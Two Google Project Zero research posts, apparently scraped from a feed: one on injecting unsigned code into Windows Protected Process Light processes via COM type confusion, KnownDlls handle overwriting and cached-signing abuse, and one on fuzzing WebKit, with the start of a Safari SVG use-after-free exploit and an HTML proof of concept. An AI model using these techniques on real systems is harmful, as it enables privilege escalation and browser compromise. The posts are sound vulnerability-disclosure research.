PathSigning LevelC:\windows\Microsoft.Net\Framework\v4.0.30319\mscorsvw.exeCodeGenC:\windows\Microsoft.Net\Framework64\v4.0.30319\mscorsvw.exeCodeGenC:\windows\system32\SecurityHealthService.exeWindowsC:\windows\system32\svchost.exeWindowsC:\windows\system32\xbgmsvc.exeWindowsC:\windows\system32\csrss.exeWindows TCBC:\windows\system32\services.exeWindows TCBC:\windows\system32\smss.exeWindows TCBC:\windows\system32\werfaultsecure.exeWindows TCBC:\windows\system32\wininit.exeWindows TCBInjecting Arbitrary Code Into NGENAfter carefully reviewing the list of executables which run as PPL I settled on trying to attack the previously mentioned .NET NGEN binary, MSCORSVW.EXE. My rationale for choosing the NGEN binary was:
  • Most of the other binaries are service binaries which might need administrator privileges to start correctly.
  • The binary is likely to be loading complex functionality such as the .NET framework as well as having multiple COM interactions (my go-to technology for weird behavior).
  • In the worst case it might still yield a Device Guard bypass as the reason it runs as PPL is to give it access to the kernel APIs to apply a cached signing level. Any bug in the operation of this binary might be exploitable even if we can’t get arbitrary code running in a PPL.

But there is an issue with the NGEN binary, specifically it doesn’t meet my own criteria that I get the top signing level, Windows TCB. However, I knew that when Microsoft fixed Issue 1332 they left in a back door where a writable handle could be maintained during the signing process if the calling process is PPL as shown below:
NTSTATUS CiSetFileCache(HANDLE Handle, ...) {

 PFILE_OBJECT FileObject;
 ObReferenceObjectByHandle(Handle, &FileObject);

 if (FileObject->SharedWrite ||
    (FileObject->WriteAccess &&
     PsGetProcessProtection().Type != PROTECTED_LIGHT)) {
   return STATUS_SHARING_VIOLATION;
 }

 // Continue setting file cache.
}
If I could get code execution inside the NGEN binary I could reuse this backdoor to cache sign an arbitrary file which will load into any PPL. I could then DLL hijack a full PPL-WindowsTCB process to reach my goal.
To begin the investigation we need to determine how to use the MSCORSVW executable. Using MSCORSVW is not documented anywhere by Microsoft, so we’ll have to do a bit of digging. First off, this binary is not supposed to be run directly, instead it’s invoked by NGEN when creating an NGEN’ed binary. Therefore, we can run the NGEN binary and use a tool such as Process Monitor to capture what command line is being used for the MSCORSVW process. Executing the command:
C:\> NGEN install c:\some\binary.dll
Results in the following command line being executed:
MSCORSVW -StartupEvent A -InterruptEvent B -NGENProcess C -Pipe D
A, B, C and D are handles which NGEN ensures are inherited into the new process before it starts. As we don’t see any of the original NGEN command line parameters it seems likely they’re being passed over an IPC mechanism. The “Pipe” parameter gives an indication that  named pipes are used for IPC. Digging into the code in MSCORSVW, we find the method NGenWorkerEmbedding, which looks like the following:
void NGenWorkerEmbedding(HANDLE hPipe) {
 CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
 CorSvcBindToWorkerClassFactory factory;

 // Marshal class factory.
 IStream* pStm;
 CreateStreamOnHGlobal(nullptr, TRUE, &pStm);
 CoMarshalInterface(pStm, &IID_IClassFactory, &factory,                     MSHCTX_LOCAL, nullptr, MSHLFLAGS_NORMAL);

 // Read marshaled object and write to pipe.
 DWORD length;
 char* buffer = ReadEntireIStream(pStm, &length);
 WriteFile(hPipe, &length, sizeof(length));
 WriteFile(hPipe, buffer, length);
 CloseHandle(hPipe);

 // Set event to synchronize with parent.
 SetEvent(hStartupEvent);

 // Pump message loop to handle COM calls.
 MessageLoop();

 // ...
}
This code is not quite what I expected. Rather than using the named pipe for the entire communication channel it’s only used to transfer a marshaled COM object back to the calling process. The COM object is a class factory instance, normally you’d register the factory using CoRegisterClassObject but that would make it accessible to all processes at the same security level so instead by using marshaling the connection can be left private only to the NGEN binary which spawned MSCORSVW. A .NET related process using COM gets me interested as I’ve previously described in another blog post how you can exploit COM objects implemented in .NET. If we’re lucky this COM object is implemented in .NET, we can determine if it is implemented in .NET by querying for its interfaces, for example we use the Get-ComInterface command in my OleViewDotNet PowerShell module as shown in the following screenshot.

We’re out of luck, this object is not implemented in .NET, as you’d at least expect to see an instance of the _Object interface. There’s only one interface implemented, ICorSvcBindToWorker so let’s dig into that interface to see if there’s anything we can exploit.
Something caught my eye, in the screenshot there’s a HasTypeLib column, for ICorSvcBindToWorker we see that the column is set to True. What HasTypeLib indicates is rather than the interface’s proxy code being implemented using an predefined NDR byte stream it’s generated on the fly from a type library. I’ve abused this auto-generating proxy mechanism before to elevate to SYSTEM, reported as issue 1112. In the issue I used some interesting behavior of the system’s Running Object Table (ROT) to force a type confusion in a system COM service. While Microsoft has fixed the issue for User to SYSTEM there’s nothing stopping us using the type confusion trick to exploit the MSCORSVW process running as PPL at the same privilege level and get arbitrary code execution. Another advantage of using a type library is a normal proxy would be loaded as a DLL which means that it must meet the PPL signing level requirements; however a type library is just data so can be loaded into a PPL without any signing level violations.
How does the type confusion work? Looking at the ICorSvcBindToWorker interface from the type library:
interface ICorSvcBindToWorker : IUnknown {
   HRESULT BindToRuntimeWorker(
             [in] BSTR pRuntimeVersion,
             [in] unsigned long ParentProcessID,
             [in] BSTR pInterruptEventName,
             [in] ICorSvcLogger* pCorSvcLogger,
             [out] ICorSvcWorker** pCorSvcWorker);
};
The single BindToRuntimeWorker takes 5 parameters, 4 are inbound and 1 is outbound. When trying to access the method over DCOM from our untrusted process the system will automatically generate the proxy and stub for the call. This will include marshaling COM interface parameters into a buffer, sending the buffer to the remote process and then unmarshaling to a pointer before calling the real function. For example imagine a simpler function, DoSomething which takes a single IUnknown pointer. The marshaling process looks like the following:
The operation of the method call is as follow:
  1. The untrusted process calls DoSomething on the interface which is actually a pointer to DoSomethingProxy which was auto-generated from the type library passing an IUnknown pointer parameter.
  2. DoSomethingProxy marshals the IUnknown pointer parameter into the buffer and calls over RPC to the Stub in the protected process.
  3. The COM runtime calls the DoSomethingStub method to handle the call. This method will unmarshal the interface pointer from the buffer. Note that this pointer is not the original pointer from step 1, it’s likely to be a new proxy which calls back to the untrusted process.
  4. The stub invokes the real implemented method inside the server, passing the unmarshaled interface pointer.
  5. DoSomething uses the interface pointer, for example by calling AddRef on it via the object’s VTable.

How would we exploit this? All we need to do is modify the type library so that instead of passing an interface pointer we pass almost anything else. While the type library file is in a system location which we can’t modify we can just replace the registration for it in the current user’s registry hive, or use the same ROT trick from before issue 1112. For example if we modifying the type library to pass an integer instead of an interface pointer we get the following:
The operation of the marshal now changes as follows:
  1. The untrusted process calls DoSomething on the interface which is actually a pointer to DoSomethingProxy which was auto-generated from the type library passing an arbitrary integer parameter.
  2. DoSomethingProxy marshals the integer parameter into the buffer and calls over RPC to the Stub in the protected process.
  3. The COM runtime calls the DoSomethingStub method to handle the call. This method will unmarshal the integer from the buffer.
  4. The stub invokes the real implement method inside the server, passing the integer as the parameter. However DoSomething hasn’t changed, it’s still the same method which accepts an interface pointer. As the COM runtime has no more type information at this point the integer is type confused with the interface pointer.
  5. DoSomething uses the interface pointer, for example by calling AddRef on it via the object’s VTable. As this pointer is completely under control of the untrusted process this likely results in arbitrary code execution.

By changing the type of parameter from an interface pointer to an integer we induce a type confusion which allows us to get an arbitrary pointer dereferenced, resulting in arbitrary code execution. We could even simplify the attack by adding to the type library the following structure:
struct FakeObject {
   BSTR FakeVTable;
};
If we pass a pointer to a FakeObject instead of the interface pointer the auto-generated proxy will marshal the structure and its BSTR, recreating it on the other side in the stub. As a BSTR is a counted string it can contain NULLs so this will create a pointer to an object, which contains a pointer to an arbitrary byte array which can act as a VTable. Place known function pointers in that BSTR and you can easily redirect execution without having to guess the location of a suitable VTable buffer.
To fully exploit this we’d need to call a suitable method, probably running a ROP chain and we might also have to bypass CFG. That all sounds too much like hard work, so instead I’ll take a different approach to get arbitrary code running in the PPL binary, by abusing KnownDlls.KnownDlls and Protected Processes.In my previous blog post I described a technique to elevate privileges from an arbitrary object directory creation vulnerability to SYSTEM by adding an entry into the KnownDlls directory and getting an arbitrary DLL loaded into a privileged process. I noted that this was also an administrator to PPL code injection as PPL will also load DLLs from the system’s KnownDlls location. As the code signing check is performed during section creation not section mapping as long as you can place an entry into KnownDlls you can load anything into a PPL even unsigned code.
This doesn’t immediately seem that useful, we can’t write to KnownDlls without being an administrator, and even then without some clever tricks. However it’s worth looking at how a Known DLL is loaded to get an understanding on how it can be abused. Inside NTDLL’s loader (LDR) code is the following function to determine if there’s a preexisting Known DLL.
NTSTATUS LdrpFindKnownDll(PUNICODE_STRING DllName, HANDLE *SectionHandle) {
 // If KnownDll directory handle not open then return error.
 if (!LdrpKnownDllDirectoryHandle)
   return STATUS_DLL_NOT_FOUND;

 OBJECT_ATTRIBUTES ObjectAttributes;
 InitializeObjectAttributes(&ObjectAttributes,
   &DllName,
   OBJ_CASE_INSENSITIVE,
   LdrpKnownDllDirectoryHandle,
   nullptr);

 return NtOpenSection(SectionHandle,
                      SECTION_ALL_ACCESS,
                      &ObjectAttributes);
}
The LdrpFindKnownDll function calls NtOpenSection to open the named section object for the Known DLL. It doesn’t open an absolute path, instead it uses the feature of the native system calls to specify a root directory for the object name lookup in the OBJECT_ATTRIBUTES structure. This root directory comes from the global variable LdrpKnownDllDirectoryHandle. Implementing the call this way allows the loader to only specify the filename (e.g. EXAMPLE.DLL) and not have to reconstruct the absolute path as the lookup with be relative to an existing directory. Chasing references to LdrpKnownDllDirectoryHandle we can find it’s initialized in LdrpInitializeProcess as follows:
NTSTATUS LdrpInitializeProcess() {
 // ...
 PPEB peb = // ...
 // If a full protected process don't use KnownDlls.
 if (peb->IsProtectedProcess && !peb->IsProtectedProcessLight) {
   LdrpKnownDllDirectoryHandle = nullptr;
 } else {
   OBJECT_ATTRIBUTES ObjectAttributes;
   UNICODE_STRING DirName;
   RtlInitUnicodeString(&DirName, L"\\KnownDlls");
   InitializeObjectAttributes(&ObjectAttributes,
                              &DirName,
                              OBJ_CASE_INSENSITIVE,
                              nullptr, nullptr);
   // Open KnownDlls directory.
   NtOpenDirectoryObject(&LdrpKnownDllDirectoryHandle,
                         DIRECTORY_QUERY | DIRECTORY_TRAVERSE,
                         &ObjectAttributes);
}
This code shouldn’t be that unexpected, the implementation calls NtOpenDirectoryObject, passing the absolute path to the KnownDlls directory as the object name. The opened handle is stored in the LdrpKnownDllDirectoryHandle global variable for later use. It’s worth noting that this code checks the PEB to determine if the current process is a full protected process. Support for loading Known DLLs is disabled in full protected process mode, which is why even with administrator privileges and the clever trick I outlined in the last blog post we could only compromise PPL, not PP.
How does this knowledge help us? We can use our COM type confusion trick to write values into arbitrary memory locations instead of trying to hijack code execution resulting in a data only attack. As we can inherit any handles we like into the new PPL process we can setup an object directory with a named section, then use the type confusion to change the value of LdrpKnownDllDirectoryHandle to the value of the inherited handle. If we induce a DLL load from System32 with a known name the LDR will check our fake directory for the named section and map our unsigned code into memory, even calling DllMain for us. No need for injecting threads, ROP or bypassing CFG.
All we need is a suitable primitive to write an arbitrary value, unfortunately while I could find methods which would cause an arbitrary write I couldn’t sufficiently control the value being written. In the end I used the following interface and method which was implemented on the object returned by ICorSvcBindToWorker::BindToRuntimeWorker.
interface ICorSvcPooledWorker : IUnknown {
   HRESULT CanReuseProcess(
           [in] OptimizationScenario scenario,
           [in] ICorSvcLogger* pCorSvcLogger,
           [out] long* pCanContinue);
};
In the implementation of CanReuseProcess the target value of pCanContinue is always initialized to 0. Therefore by replacing the [out] long* in the type library definition with [in] long we can get 0 written to any memory location we specify. By prefilling the lower 16 bits of the new process’ handle table with handles to a fake KnownDlls directory we can be sure of an alias between the real KnownDlls which will be opened once the process starts and our fake ones by just modifying the top 16 bits of the handle to 0. This is shown in the following diagram:

Once we’ve overwritten the top 16 bits with 0 (the write is 32 bits but handles are 64 bits in 64 bit mode, so we won’t overwrite anything important) LdrpKnownDllDirectoryHandle now points to one of our fake KnownDlls handles. We can then easily induce a DLL load by sending a custom marshaled object to the same method and we’ll get arbitrary code execution inside the PPL.Elevating to PPL-Windows TCBWe can’t stop here, attacking MSCORSVW only gets us PPL at the CodeGen signing level, not Windows TCB. Knowing that generating a fake cached signed DLL should run in a PPL as well as Microsoft leaving a backdoor for PPL processes at any signing level I converted my C# code from Issue 1332 to C++ to generate a fake cached signed DLL. By abusing a DLL hijack in WERFAULTSECURE.EXE which will run as PPL Windows TCB we should get code execution at the desired signing level. This worked on Windows 10 1709 and earlier, however it didn’t work on 1803. Clearly Microsoft had changed the behavior of cached signing level in some way, perhaps they’d removed its trust in PPL entirely. That seemed unlikely as it would have a negative performance impact.
After discussing this a bit with Alex Ionescu I decided to put together a quick parser with information from Alex for the cached signing data on a file. This is exposed in NtObjectManager as the Get-NtCachedSigningLevel command. I ran this command against a fake signed binary and a system binary which was also cached signed and immediately noticed a difference:

For the fake signed file the Flags are set to TrustedSignature (0x02), however for the system binary PowerShell couldn’t decode the enumeration and so just outputs the integer value of 66 which is 0x42 in hex. The value 0x40 was an extra flag on top of the original trusted signature flag. It seemed likely that without this flag set the DLL wouldn’t be loaded into a PPL process. Something must be setting this flag so I decided to check what happened if I loaded a valid cached signed DLL without the extra flag into a PPL process. Monitoring it in Process Monitor I got my answer:

The Process Monitor trace shows that first the kernel queries for the Extended Attributes (EA) from the DLL. The cached signing level data is stored in the file’s EA so this is almost certainly an indication of the cached signing level being read. In the full trace artifacts of checking the full signature are shown such as enumerating catalog files, I’ve removed those artifacts from the screenshot for brevity. Finally the EA is set, if I check the cached signing level of the file it now includes the extra flag. So setting the cached signing level is done automatically, the question is how? By pulling up the stack trace we can see how it happens:

Looking at the middle of the stack trace we can see the call to CipSetFileCache originates from the call to NtCreateSection. The kernel is automatically caching the signature when it makes sense to do so, e.g. in a PPL so that subsequent image mapping don’t need to recheck the signature. It’s possible to map an image section from a file with write access so we can reuse the same attack from Issue 1332 and replace the call to NtSetCachedSigningLevel with NtCreateSection and we can fake sign any DLL. It turned out that the call to set the file cache happened after the write check introducted to fix Issue 1332 and so it was possible to use this to bypass Device Guard again. For that reason I reported the bypass as Issue 1597 which was fixed in September 2018 as CVE-2018-8449. However, as with Issue 1332 the back door for PPL is still in place so even though the fix eliminated the Device Guard bypass it can still be used to get us from PPL-CodeGen to PPL-WindowsTCB. ConclusionsThis blog showed how I was able to inject arbitrary code into a PPL without requiring administrator privileges. What could you do with this new found power? Actually not a great deal as a normal user but there are some parts of the OS, such as the Windows Store which rely on PPL to secure files and resources which you can’t modify as a normal user. If you elevate to administrator and then inject into a PPL you’ll get many more things to attack such as CSRSS (through which you can certainly get kernel code execution) or attack Windows Defender which runs as PPL Anti-Malware. Over time I’m sure the majority of the use cases for PPL will be replaced with Virtual Secure Mode (VSM) and Isolated User Mode (IUM) applications which have greater security guarantees and are also considered security boundaries that Microsoft will defend and fix.
Did I report these issues to Microsoft? Microsoft has made it clear that they will not fix issues only affecting PP and PPL in a security bulletin. Without a security bulletin the researcher receives no acknowledgement for the find, such as a CVE. The issue will not be fixed in current versions of Windows although it might be fixed in the next major version. Previously confirming Microsoft’s policy on fixing a particular security issue was based on precedent, however they’ve recently published a list of Windows technologies that will or will not be fixed in the Windows Security Service Criteria which, as shown below for Protected Process Light, Microsoft will not fix or pay a bounty for issues relating to the feature. Therefore, from now on I will not be engaging Microsoft if I discover issues which I believe to only affect PP or PPL.

The one bug I reported to Microsoft was only fixed because it could be used to bypass Device Guard. When you think about it, only fixing for Device Guard is somewhat odd. I can still bypass Device Guard by injecting into a PPL and setting a cached signing level, and yet Microsoft won’t fix PPL issues but will fix Device Guard issues. Much as the Windows Security Service Criteria document really helps to clarify what Microsoft will and won’t fix it’s still somewhat arbitrary. A secure feature is rarely secure in isolation, the feature is almost certainly secure because other features enable it to be so.
In part 2 of this blog we’ll go into how I was also able to break into Full PP-WindowsTCB processes using another interesting feature of COM.
Categories: Security

365 Days Later: Finding and Exploiting Safari Bugs using Publicly Available Tools

Google Project Zero - Thu, 10/04/2018 - 12:40
Posted by Ivan Fratric, Google Project Zero
Around a year ago, we published the results of research about the resilience of modern browsers against DOM fuzzing, a well-known technique for finding browser bugs. Together with the bug statistics we also published Domato, our DOM fuzzing tool that was used to find those bugs.
Given that in the previous research, Apple Safari, or more specifically, WebKit (its DOM engine) did noticeably worse than other browsers, we decided to revisit it after a year using exactly the same methodology and exactly the same tools to see whether anything changed.
Test Setup
As in the original research, the fuzzing was initially done against WebKitGTK+ and then all the crashes were tested against Apple Safari running on a Mac. This makes the fuzzing setup easier as WebKitGTK+ uses the same DOM engine as Safari, but allows for fuzzing on a regular Linux machine. In this research, WebKitGTK+ version 2.20.2 was used which can be downloaded here.
To improve the fuzzing process, a couple of custom changes were made to WebKitGTK+:
  • Made fixes to be able to build WebKitGTK+ with ASan (Address Sanitizer).

  • Changed window.alert() implementation to immediately call the garbage collector instead of displaying a message window. This works well because window.alert() is not something we would normally call during fuzzing.

  • Normally, when a DOM bug causes a crash, due to the multi-process nature of WebKit, only the web process would crash, but the main process would continue running. Code was added that monitors a web process and, if it crashes, the code would “crash” the main process with the same status.

  • Created a custom target binary.

After the previous research was published, we got a lot of questions about the details of our fuzzing setup. This is why, this time, we are publishing the changes made to the WebKitGTK+ code as well as the detailed build instructions below. A patch file can be found here. Note that the patch was made with WebKitGTK+ 2.20.2 and might not work as is on other versions.
Once WebKitGTK+ code was prepared, it was built with ASan by running the following commands from the WebKitGTK+ directory:
export CC=/usr/bin/clangexport CXX=/usr/bin/clang++export CFLAGS="-fsanitize=address"export CXXFLAGS="-fsanitize=address"export LDFLAGS="-fsanitize=address"export ASAN_OPTIONS="detect_leaks=0"
mkdir buildcd build
cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=. -DCMAKE_SKIP_RPATH=ON -DPORT=GTK -DLIB_INSTALL_DIR=./lib -DUSE_LIBHYPHEN=OFF -DENABLE_MINIBROWSER=ON -DUSE_SYSTEM_MALLOC=ON -DENABLE_GEOLOCATION=OFF -DENABLE_GTKDOC=OFF -DENABLE_INTROSPECTION=OFF -DENABLE_OPENGL=OFF -DENABLE_ACCELERATED_2D_CANVAS=OFF -DENABLE_CREDENTIAL_STORAGE=OFF -DENABLE_GAMEPAD_DEPRECATED=OFF -DENABLE_MEDIA_STREAM=OFF -DENABLE_WEB_RTC=OFF -DENABLE_PLUGIN_PROCESS_GTK2=OFF -DENABLE_SPELLCHECK=OFF -DENABLE_VIDEO=OFF -DENABLE_WEB_AUDIO=OFF -DUSE_LIBNOTIFY=OFF -DENABLE_SUBTLE_CRYPTO=OFF -DUSE_WOFF2=OFF -Wno-dev ..
make -j 4
mkdir -p libexec/webkit2gtk-4.0cp bin/WebKit*Process libexec/webkit2gtk-4.0/
If you are doing this for the first time, the cmake/make step will likely complain about missing dependencies, which you will then have to install. You might note that a lot of features deemed not overly important for DOM fuzzing were disabled via -DENABLE flags. This was mainly to save us from having to install the corresponding dependencies but in some cases also to create a build that was more “portable”.
After the build completes, the fuzzing is as simple as creating a sample with Domato, running the target binary as
ASAN_OPTIONS=detect_leaks=0,exitcode=42 ASAN_SYMBOLIZER_PATH=/path/to/llvm-symbolizer LD_LIBRARY_PATH=./lib ./bin/webkitfuzz /path/to/sample <timeout>
and waiting for the exit code 42 (which, if you take a look at the command line above as well as the changes we made to the WebKitGTK+ code, indicates an ASan crash).
After collecting crashes, an ASan build of the most recent WebKit source code was created on the actual Mac hardware. This is as simple as running
./Tools/Scripts/set-webkit-configuration --release --asan./Tools/Scripts/build-webkit
Each crash obtained on WebKitGTK+ was tested against the Mac build before reporting to Apple.
The Results
After running the fuzzer for 100.000.000 iterations (the same as a year ago) I ended up with 9 unique bugs that were reported to Apple. Last year, I estimated that the computational power to perform this number of iterations could be purchased for about $1000 and this probably hasn’t changed - an amount well within the payment range of a wide range of attackers with varying motivation.
The bugs are summarized in the table below. Please note that all of the bugs have been fixed at the time of release of this blog post.
Project Zero bug IDCVETypeAffected Safari 11.1.2Older than 6 monthsOlder than 1 year1593CVE-2018-4197UAFYESYESNO1594CVE-2018-4318UAFNONONO1595CVE-2018-4317UAFNOYESNO1596CVE-2018-4314UAFYESYESNO1602CVE-2018-4306UAFYESYESNO1603CVE-2018-4312UAFNONONO1604CVE-2018-4315UAFYESYESNO1609CVE-2018-4323UAFYESYESNO1610CVE-2018-4328OOB readYESYESYESUAF = use-after-free. OOB = out-of-bounds
As can be seen in the table, out of the 9 bugs found, 6 affected the release version of Apple Safari, directly affecting Safari users.
While 9 or 6 bugs (depending how you count) is significantly less than the 17 found a year ago, it is still a respectable number of bugs, especially if we take into an account that the fuzzer has been public for a long time now.
After the results were in, I looked into how long these bugs have been in the WebKit codebase. To check this, all the bugs were tested against a version of WebKitGTK+ that was more than 6 months old (WebKitGTK+ 2.19.6) as well as a version that was more than a year old (WebKitGTK+ 2.16.6).
The results are interesting—most of the bugs were sitting in the WebKit codebase for longer than 6 months, however, only 1 of them is older than 1 year. Here, it might be important to note that throughout the past year (between the previous and this blog post) I also did fuzzing runs using the same approach and reported 14 bugs. Unfortunately, it is impossible to know how many of those 14 bugs would have survived until now and how many would have been found in this fuzz run. It is also possible that some of the newly found bugs are actually older, but don’t trigger with the provided PoCs is in the older versions due to unrelated code changes in the DOM. I didn’t investigate this possibility.
However, even if we assume that all of the previously reported bugs would not have survived until now, the results still indicate that (a) the security vulnerabilities keep getting introduced in the WebKit codebase and (b) many of those bugs get incorporated into the release products before they are caught by internal security efforts.
While (a) is not unusual for any piece of software that changes as rapidly as a DOM engine, (b) might indicate the need to put more computational resources into fuzzing and/or review before release.
The Exploit
To prove that bugs like this can indeed lead to a browser compromise, I decided to write an exploit for one of them. The goal was not to write a very reliable or sophisticated exploit - highly advanced attackers would likely not choose to use the bugs found by public tools whose lifetime is expected to be relatively short. However, if someone with exploit writing skills was to use such a bug in, for example, a malware spreading campaign, they could potentially do a lot of damage even with an unreliable exploit.
Out of the 6 issues affecting the release version of Safari, I selected what I believed to be the easiest one to exploit—a use-after-free where, unlike in the other use-after-free issues found, the freed object is not on the isolated heap—a mitigation recently introduced in WebKit to make use-after-free exploitation harder.
Let us first start by examining the bug we’re going to exploit. The issue is a use-after-free in the SVGAnimateElementBase::resetAnimatedType() function. If you look at the code of the function, you are going to see that, first, the function gets a raw pointer to the SVGAnimatedTypeAnimator object on the line
   SVGAnimatedTypeAnimator* animator = ensureAnimator();
and, towards the end of the function, the animator object is used to obtain a pointer to a SVGAnimatedType object (unless one already exists) on the line
   m_animatedType = animator->constructFromString(baseValue);
The problem is that, in between these two lines, attacker-controlled JavaScript code could run. Specifically, this could happen during a call to computeCSSPropertyValue(). The JavaScript code could then cause SVGAnimateElementBase::resetAnimatedPropertyType() to be called, which would delete the animator object. Thus, the constructFromString() function would be called on the freed animator object - a typical use-after-free scenario, at least on the first glance. There is a bit more to this bug though, but we’ll get to that later.
The vulnerability has been fixed in the latest Safari by no longer triggering JavaScript callbacks through computeCSSPropertyValue(). Instead, the event handler is going to be processed at some later time. The patch can be seen here.
A simple proof of concept for the vulnerability is:
<body onload="setTimeout(go, 100)">  <svg id="svg">    <animate id="animate" attributeName="fill" />  </svg>  <div id="inputParent" onfocusin="handler()">    <input id="input">  </div>  <script>    function handler() {      animate.setAttribute('attributeName','fill');    }    function go() {      input.autofocus = true;      inputParent.after(inputParent);      svg.setCurrentTime(1);    }  </script></body>
Here, svg.setCurrentTime() results in resetAnimatedType() being called, which in turn, due to DOM mutations made previously, causes a JavaScript event handler to be called. In the event handler, the animator object is deleted by resetting the attributeName attribute of the animate element.
Since constructFromString() is a virtual method of the SVGAnimatedType class, the primitive the vulnerability gives us is a virtual method call on a freed object.
In the days before ASLR, such a vulnerability would be immediately exploitable by replacing the freed object with data we control and faking the virtual method table of the freed object, so that when the virtual method is called, execution is redirected to the attacker’s ROP chain. But due to ASLR we won’t know the addresses of any executable modules in the process.
A classic way to overcome this is to combine such a use-after-free bug with an infoleak bug that can leak an address of one of the executable modules. But, there is a problem: In our crop of bugs, there wasn’t a good infoleak we could use for this purpose. A less masochistic vulnerability researcher would simply continue to run the fuzzer until a good infoleak bug would pop up. However, instead of finding better bugs, I deliberately wanted to limit myself to just the bugs found in the same number of iterations as in the previous research. As a consequence, the majority of time spent working on this exploit was to turn the bug into an infoleak.
As stated before, the primitive we have is a virtual method call on the freed object. Without an ASLR bypass, the only thing we can do with it that would not cause an immediate crash is to replace the freed object with another object that also has a vtable, so that when a virtual method is called, it is called on the other object. Most of the time, this would mean calling a valid virtual method on a valid object and nothing interesting would happen. However, there are several scenarios where doing this could lead to interesting results:
  1. The virtual method could be something dangerous to call out-of-context. For example, if we can call a destructor of some object, its members could get freed while the object itself continues to live. With this, we could turn the original use-after-free issue into another use-after-free issue, but possibly one that gives us a better exploitation primitive.

  1. Since constructFromString() takes a single parameter of the type String, we could potentially cause a type confusion on the input parameter if the other virtual method expects a parameter of another type. Additionally, if the other virtual method takes more parameters than constructFromString(), these would be uninitialized which could also lead to exploitable behavior.

  1. As constructFromString() is expected to return a pointer of type SVGAnimatedType, if the other virtual method returns some other type, this will lead to the type confusion on the return value. Additionally, if the other virtual method does not return anything, then the return value remains uninitialized.

  1. If the vtables of the freed object and the object we replaced it with are of different size, calling a vtable pointer on the freed object could result in an out-of-bounds read on the vtable of the other object, resulting in calling a virtual function of some third class.

In this exploit we used option 3, but with a twist. To understand what the twist is, let’s examine the SVGAnimateElementBase class more closely: It implements (most of) the functionality of the SVG <animate> element. The SVG <animate> element is used to, as the name suggests, animate a property of another element. For example, having the following element in an SVG image
<animate attributeName="x" from="0" to="100" dur="10s" />
will cause the x coordinate of the target element (by default, the parent element) to grow from 0 to 100 over the duration of 10 seconds. We can use an <animate> element to animate various CSS or XML properties, which is controlled by the attributeName property of the <animate> element.
Here’s the interesting part: These properties can have different types. For example, we might use an <animate> element to animate the x coordinate of an element, which is of type SVGLengthValue (number + unit), or we might use it to animate the fill attribute, which is of type Color.
In an SVGAnimateElementBase class, the type of animated property is tracked via a member variable declared as
   AnimatedPropertyType m_animatedPropertyType;
Where AnimatedPropertyType is the enumeration of possible types. Two other member variables of note are
   std::unique_ptr<SVGAnimatedTypeAnimator> m_animator;    std::unique_ptr<SVGAnimatedType> m_animatedType;
The m_animator here is the use-after-free object, while m_animatedType is the object created from the (possibly freed) m_animator.
SVGAnimatedTypeAnimator (type of m_animator) is a superclass which has subclasses for all possible values of AnimatedPropertyType, such as SVGAnimatedBooleanAnimator, SVGAnimatedColorAnimator etc. SVGAnimatedType (type of m_animatedType) is a variant that contains a type and a union of possible values depending on the type.
The important thing to note is that normally, both the subclass of m_animator and the type of m_animatedType are supposed to match m_animatedPropertyType. For example, if m_animatedPropertyType is AnimatedBoolean, then the type of m_animatedType variant should be the same, and m_animator should be an instance of SVGAnimatedBooleanAnimator.
After all, why shouldn’t all these types match, since m_animator is created based on m_animatedPropertyType here and m_animatedType is created by m_animator here. Oh wait, that’s exactly where the vulnerability occurs!
So instead of replacing a freed animator with something completely different and causing a type confusion between SVGAnimatedType and another class, we can instead replace the freed animator with another animator subclass and confuse SVGAnimatedType with type = A to another SVGAnimatedType with type = B.
But one interesting thing about this bug is that it would still be a bug even if the animator object did not get freed. In that case, the bug turns into a type confusion: To trigger it, one would simply change the m_animatedPropertyType of the <animate> element to a different type in the JavaScript callback (we’ll examine how this happens in detail later). This led to some discussion in the office whether the bug should be called an use-after-free at all, or is this really a different type of bug where the use-after-free is merely a symptom.
Note that the animator object is always going to get freed as soon as the type of the <animate> element changes, which leads to an interesting scenario where to exploit a bug (however you choose to call it), instead of replacing the freed object with an object of another type, we could either replace it with the object of the same type or make sure it doesn’t get replaced at all. Due to how memory allocation in WebKit works, the latter is actually going to happen on its own most of the time anyway - objects allocated in a memory page will only start getting replaced once the whole page becomes full. Additionally, freeing an object in WebKit doesn’t corrupt it as would be the case in some other allocators, which allows us to still use it normally even after being freed.
Let’s now examine how this type confusion works and what effects it has:
  1. We start with an <animate> element for type A. m_animatedPropertyType, m_animator and m_animatedType all match type A.

  1. resetAnimatedType() gets called and it retrieves an animator pointer of type A here.

  1. resetAnimatedType() calls computeCSSPropertyValue() here, which triggers a JavaScript callback.

  1. In the JavaScript callback, we change the type of <animate> element to B by changing its attributeName attribute. This causes SVGAnimateElementBase::resetAnimatedPropertyType() to be called. In it, m_animatedType and m_animator get deleted, while m_animatedPropertyType gets set to B according to the new attributeName here. Now, m_animatedType and m_animator are null, while m_animatedPropertyType is B.

  1. We return into resetAnimatedType(), where we still have a local variable animator which still points to (freed but still functional) animator for type A.

  1. m_animatedType gets created based on the freed animator here. Now, m_animatedType is of type A, m_animatedPropertyType is B and m_animator is null.

  1. resetAnimatedType() returns, and the animator local variable pointing to the freed animator of type A gets lost, never to be seen again.

  1. Eventually, resetAnimatedType() gets called again. Since m_animator is still null, but m_animatedPropertyType is B, it creates m_animator of type B here.

  1. Since m_animatedType is non-null, instead of creating it anew, we just initialize it by calling m_animatedType->setValueAsString() here. We now have m_animatedPropertyType for type B, m_animator for type B and m_animatedType for type A.

  1. At some point, the value of the animated property gets calculated. That happens in SVGAnimateElementBase::calculateAnimatedValue() on this line by calling m_animator->calculateAnimatedValue(..., m_animatedType). Here, there is a mismatch between the m_animator (type B) and  m_animatedType (type A). However, because the mismatch wouldn’t normally occur, the animator won’t check the type of the argument (there might be some debug asserts but nothing in the release) and will attempt to write the calculated animated value of type B into the SVGAnimatedType with type A.

  1. After the animated value has been computed, it is read out as string and set to the corresponding CSS property. This happens here.

The actual type confusion only happens in step 10: there, we will write to the SVGAnimatedType of type A as if it actually was type B. The rest of the interactions with m_animatedType are not dangerous since they are simply getting and setting the value as string, an operation that is safe to do regardless of the actual type.
Note that, although the <animate> element supports animating XML properties as well as CSS properties, we can only do the above dance with CSS properties as the code for handling XML properties is different. The list of CSS properties we can work with can be found here.
